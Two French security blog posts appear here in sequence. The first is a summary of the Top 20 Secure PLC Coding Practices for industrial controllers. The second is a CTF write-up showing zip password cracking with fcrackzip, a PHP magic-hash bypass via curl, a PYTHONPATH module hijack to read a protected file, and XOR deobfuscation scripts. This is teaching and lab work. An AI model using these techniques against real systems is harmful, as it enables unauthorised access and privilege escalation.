Cependant, dans le domaine des SI industriels, on ne parle quasiment jamais de la sécurité du code automate qui contrôle le procédé industriel. Pourquoi ?

Genèse du projet

Le projet a débuté avec la présentation de Jake Browdsky lors de la conférence S4 en 2019 

Dans cette conférence, le concept de sécurisation du processus industriel par l’application de pratiques de programmation sécurisée dans le code de l’automate est discuté et plusieurs exemples sont mentionnés.

Cette idée a ensuite été transformée en un projet collaboratif par Sarah Fluchs et Vivek Ponnada, auquel plus de 900 personnes ont contribué avec leurs idées !

Automates Programmables Industriels

Les automates programmables industriels (Programmable Logic Controller en anglais) sont situés au cœur de l’automatisation, au niveau 1 du modèle de Purdue.

Représentation ISA du modèle de Purdue

Le modèle de Purdue est-il mort ? – Dale Peterson : ICS Security Catalyst (dale-peterson.com)

Les automates programmables sont des ordinateurs embarqués avec un système temps-réel qui interagissent directement avec les capteurs et les actionneurs pour surveiller et contrôler une partie du processus industriel.

Ils exécutent une boucle infinie, composée de 4 étapes :

La « logique », ou code de l’automate, peut être écrite dans différents langages, tels que définis dans la norme CEI 61131-3 :

• Ladder Diagram
• Function Block Diagram
• Structured Text
• Instruction List [désormais obsolète]
• Sequential Function Chart

Le document TOP20

Le document TOP20 est le résultat des échanges en ligne visant à identifier les 20 pratiques de programmation les plus importantes et peut être téléchargé sur le site du projet.

Comme le TOP10 de l’OWASP, il ne vise pas à décrire toutes les pratiques de programmation sécurisée possibles, du moins pour le moment.

Chacune des pratiques du TOP20 est détaillée avec les mêmes informations :

Les 20 pratiques peuvent être organisées en trois catégories principales :

Quelques exemples

Voyons un exemple de chaque catégorie. Pour cela, nous utiliserons un automate d’entrée de gamme de notre laboratoire, un feu de signalisation ainsi qu’une supervision SCADA.

Malheureusement, chaque fournisseur d’automates – et même chaque famille d’automates – utilise son propre logiciel de programmation ; les exemples présentés ici ne peuvent donc pas être copiés-collés dans le code d’une autre marque d’automates et nécessiteront une implémentation différente.

Le code de l’automate ainsi que le projet SCADA utilisé pour la démonstration peuvent être téléchargés depuis notre page github.

Règle n°13 : Désactiver les ports et protocoles de communication inutiles / inutilisés

Cette pratique consiste à durcir l’automate. La plupart des automates d’aujourd’hui offrent un support pour plusieurs protocoles industriels, ainsi qu’une variété de services supplémentaires comme un serveur de fichier FTP, un serveur web et bien d’autres.

Désactiver les services non utilisés et renforcer la sécurité de ceux qui sont activés (changer les identifiants par défaut, etc.) est une étape nécessaire pour réduire la surface d’attaque et, par conséquent, limiter le nombre de correctifs de sécurité à appliquer à l’avenir (moins il y a de fonctionnalités activées, plus les vulnérabilités sont pertinentes, facilitant l’effort pour les corriger).

Jetons un coup d’œil à la vidéo :

Règles n°6 et n°8 : Vérification des entrées au niveau de l’automate.

Ces deux règles peuvent être démontrées dans le même exemple car elles suivent le même principe : ne pas faire aveuglément confiance aux entrées externes ! Pour quelqu’un comme moi qui a fait sa part de test d’intrusion d’applications web, je ne pourrais être plus d’accord !

Les plages valides pour les valeurs d’entrée sont souvent mises en œuvre au niveau SCADA, laissant la possibilité à un attaquant d’écrire directement une valeur hors plage dans le bon registre de l’automate.

Cela est particulièrement vrai pour les compteurs et les chronomètres, qui doivent être vérifiés pour s’assurer qu’ils sont supérieurs ou égaux à zéro, et que la valeur est inférieure à une limite supérieure qui a du sens pour le processus.

Jetons un coup d’œil à la vidéo :

Surveillance de l’automate programmable règles n°2 et n°5

Nous pouvons exploiter les données opérationnelles de l’automate pour essayer de détecter des situations anormales qui pourraient être des incidents de cybersécurité.

État de l’automate

S’assurer que l’automate est en mode « RUN » est essentiel pour la sûreté et la sécurité des opérations. Un automate à l’arrêt pourrait empêcher l’IHM SCADA d’afficher les bonnes informations à l’opérateur, ce qui entraînerait de mauvaises décisions.

De même, des fonctions telles que le « forçage » des entrées et des sorties peuvent empêcher l’IHM SCADA d’afficher l’état réel du processus, et doivent être détectées et clairement affichées à l’opérateur.

Jetons un coup d’œil à la vidéo :

Cette technique peut également être utilisée pour détecter les automates en mode « PROGRAM », ce qui permet de programmer l’automate à distance.

Firmware de l’automate et version du code

Ne serait-il pas formidable de pouvoir interroger la version du firmware de votre automate directement à partir d’un registre Modbus ? Eh bien, c’est possible !

En outre, sur notre automate, nous pouvons également obtenir une somme de contrôle du code de l’automate, ce qui signifie que nous pouvons détecter si quelqu’un a altéré le code de l’automate, déclencher une alarme et enquêter si nous ne pouvons pas faire correspondre cela à une entrée dans le registre de gestion des modifications.

Jetons un coup d’œil à la vidéo :

Alors, que pouvez-vous faire ?

Le document sur le top 20 est facilement disponible, mais comment l’utiliser ?

Si vous souhaitez en savoir plus sur la sécurité du code automate, vous pouvez également consulter le contenu que nous avons présenté lors de nos ateliers à DEFCON et BruCON sur notre page Github.

Cet article Top 20 Secure PLC Coding Practices est apparu en premier sur RiskInsight.

• Niveau technique avancé
• Accessibilité géographique
• Événement à taille humaine

Web-serveur : la simplicité (par ShrewkRoot)

Le site se présente sous la forme d’une page blanche contenant une vidéo du rappeur Orelsan :

 

 

Le premier réflexe à adopter dans ce cas est de s’orienter sur la cartographie de l’application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.

En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l’arborescence d’un site :

• /sitemap.xml : fichier XML contenant l’arborescence des différentes sections
• /robots.txt : fichier txt visant à interdire le crawling de certaines sections aux robots

En naviguant sur le second, l’application indique que le fichier backup.zip existe :

Le fichier backup.zip est bien accessible, et une fois téléchargé, demande un mot de passe pour l’extraction :

iansus @ iansus-server ~/rtfm/quals/simple % unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:

Il est facile de procéder au bruteforce de ce mot de passe à l’aide de la liste rockyou.txt (présente par défaut sur Kali Linux) et de l’outil fcrackzip :

iansus @ iansus-server ~/rtfm/quals/simple % fcrackzip -D -p rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == passw0rd

iansus @ iansus-server ~/rtfm/quals/simple % curl -X POST http://iansus.net:4444 –data ‘h1=1539722573.8918’ -s | grep sigsegv
h1 vaut: 0e633901513385170308561908425699</br><!–Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}–><!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>

App-script : Fun avec Python (par laxa)

iansus @ iansus-server ~/rtfm/Qualifications-2018 % ssh -p 4443 chall@iansus.net
chall@iansus.net’s password:
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
aaaaaaaaaaaaaaaaaaaaaa
chall@4e5d88350bfc:~$ ls -l
total 16
-r–r—– 1 root chall-pwned 21 Oct 16 17:13 flag
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Oct 17 17:18 wrapper

#!/usr/bin/python2.7
from colors import colors
def main():
print(‘This is an advanced hello-world’)
print(‘The world is more joyful with colors’)
print(‘So, here we are:’)
print(‘{}Hello-World !{}’.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == ‘__main__’:
main()

chall@4e5d88350bfc:~$ python2.7
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type « help », « copyright », « credits » or « license » for more information.
>>> import colors
>>> colors.__file__
‘/usr/local/lib/python2.7/dist-packages/colors/__init__.py’

class bcolors:
HEADER = ‘\033[95m’
OKBLUE = ‘\033[94m’
OKGREEN = ‘\033[92m’
WARNING = ‘\033[93m’
FAIL = ‘\033[91m’
ENDC = ‘\033[0m’
BOLD = ‘\033[1m’
UNDERLINE = ‘\033[4m’

• Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)
• Avec la variable d’environnement $PYTHONPATH
• Avec le dossier d’installation par défaut des scripts

#!/usr/bin/python2.7
print open(‘/home/chall/flag’, ‘r’).read()
Il est alors possible de récupérer le flag comme suit :
chall@4e5d88350bfc:~$ PYTHONPATH=/tmp ./wrapper
sigsegv{un_flag_ici}
Traceback (most recent call last):
File « /home/chall/hello-world.py », line 3, in <module>
from colors import colors
ImportError: cannot import name colors

Web-client : Javascript Obfusqué (par Synacktiv)

Description : Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d’un fichier HTML qui contient un formulaire pour vérifier le flag :

<html><SCRIPT LANGUAGE=« JavaScript »><!–
document.write(unescape(« %3C%53[..snip..]%54%3E »));//–></SCRIPT><SCRIPT LANGUAGE=« JavaScript »><!–
hp_d01(unescape(« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »));//–></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Il est en général possible de rencontrer deux types d’obfuscation JavaScript :

• La première construit un code qui sera désobfusqué et exécuté grâce à la fonction eval()
• La seconde construit un code qui sera désobfusqué et exécuté en l’ajoutant dynamiquement dans le code de la page, par exemple via document.write()

Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l’inspecteur HTML de Chrome / Firefox / Opera :

Le code complet de la fonction JavaScript est le suivant :
<script language=« JavaScript »>
function Kod(s, pass) {
var i=0;
var BlaBla=«  »;
for(j=0; j<s.length; j++) {
BlaBla += String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));
if (i>=pass.length)
i=0;
}
return(BlaBla);
}
function f(form){
var pass=document.form.pass.value;
var hash=0;
for(j=0; j<pass.length; j++){
var n= pass.charCodeAt(j);
hash += ((n–j+33)^31025);
}
if (hash == 529387) {
var Secret =«  »+« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »+«  »;
var s=Kod(Secret, pass);
document.write (s);
} else {
alert (‘Wrong password!’);
}
}
</script>
Les première analyses du code indiquent que :

• La fonction Kod consiste à réaliser une opération XOR entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer
• La fonction f est appelée sur validation du formulaire et :
  • réalise une vérification sur la clé entrée dans le formulaire (variable hash)
  • déchiffre la variable Secret à l’aide de la clé pour l’afficher sur la page

Il s’agit donc ici d’un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable hash pour évaluer cette longueur.

Cette variable est la somme des (n-j+33)^31025, n étant le code ASCII du caractère et j sa position. Ces éléments sont globalement bornés autour dans l’intervalle 30000-32000. Il est donc facile d’approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077

, soit 17.

« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e » +
« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d » +
« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 » +
« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d » +
« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 » +
« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 » +
« \x1b\x1d\x0a\x1f\x5b »

#!/usr/bin/python
import sys
def xor(a, b):
return  ».join([chr(ord(c)^ord(d)) for c, d in zip(a, b)])
blocks = [
‘\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e’,
‘\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d’,
‘\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18’,
‘\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d’,
‘\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19’,
‘\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52’,
#’\x1b\x1d\x0a\x1f\x5b’
]
pw = sys.argv[1]
for b in blocks:
print ‘[-] Ref is %s’ % repr(b)
for i in range(len(blocks[0])-len(pw)+1):
print ‘[-] At pos %d’ % i
pk = xor(b[i:], pw)
print ‘[-] PK = %s’ % repr(pk)
for b2 in blocks:
if b==b2:
continue
print xor(b2[i:], pk)
print  »

Cryptographie : Un nouveau dialecte (ShrewkRoot)

iansus @ iansus-server ~/rtfm/quals/js % echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C
00000000 c8 83 c7 b9 c7 b7 c8 83 c7 b5 c7 b7 c8 86 c8 8b |…………….|
00000010 c7 9c c7 91 c7 a3 c7 a4 c7 95 c7 97 c7 91 c7 93 |…………….|
00000020 c7 95 c7 a3 c7 a4 c7 a0 c7 91 c7 a3 c7 a3 c7 99 |…………….|
00000030 c7 96 c7 91 c7 93 c7 99 c7 9c c7 95 c8 8d |…………..|
0000003e
On constate alors rapidement que les caractères s’écrivent sur deux octets, et qu’ils se présentent tous sous les forme c7 xx ou c8 yy. Par ailleurs, en supposant que le texte décodé commence par sigsegv{, on remarque que :

• La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s’agit donc probablement d’une substitution monoalphabétique
• La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée c7 b5 et c7 b7 : le décalage entre deux lettres est constant, il s’agit probablement d’une variante du chiffre de César

Description : Faites-moi confiance, XOR n’est pas la solution.

Le challenge se présente sous la forme d’un binaire ELF 64-bit strippé. Ce writeup utilisera Cutter, l’interface graphique de Radare2. Les première étapes sont assez simples, puisque la fonction main ne possède qu’un appel à une autre fonction :

 

 

Si l’on tente d’afficher le graphe de la fonction située à 0x004009e0, l’erreur suivante se produit :

Il s’agit là d’une technique anti-reverse, que l’on peut observer plus en détails dans l’affichage linéaire de Cutter :

 

 

Ci-dessous le détail des instructions :

• push rax : sauvegarde la valeur courante de RAX sur la pile
• xor eax, eax : remet la valeur de EAX à 0
• test eax, eax : teste si la valeur de EAX est nulle et fixe le flag Z à 1
• pop rax : récupère la valeur sauvegardée de RAX depuis la pile
• jne 0x4009ee : saute à l’adresse indiquée si le flag Z vaut 0 (non pris)
• je 0x4009ef : saute à l’adresse indiquée si le flag Z vaut 1 (pris)

Seulement, les instructions à l’adresse 0x4009ef ne sont pas désassemblées puisqu’une instruction jmp commence à l’octet précédent. Le saut à l’octet précédent n’étant jamais emprunté, il est possible d’ignorer cette instruction et de demander le désassemblage à partir de 0x4009ef.

Pour cela, un clic-droit à l’adresse 0x4009ee fait apparaître le menu suivant :

Il est alors possible d’observer le code qui devrait être normalement exécuté :

En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.

L’analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d’identifier la fonction qui gère le flag, sub.BB_7c2. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :

Le flag récupéré est alors sigsegv{W3llPl4y3d}.

Cet article [CTF] Writeup du round de qualification SIGSEGV1 est apparu en premier sur RiskInsight.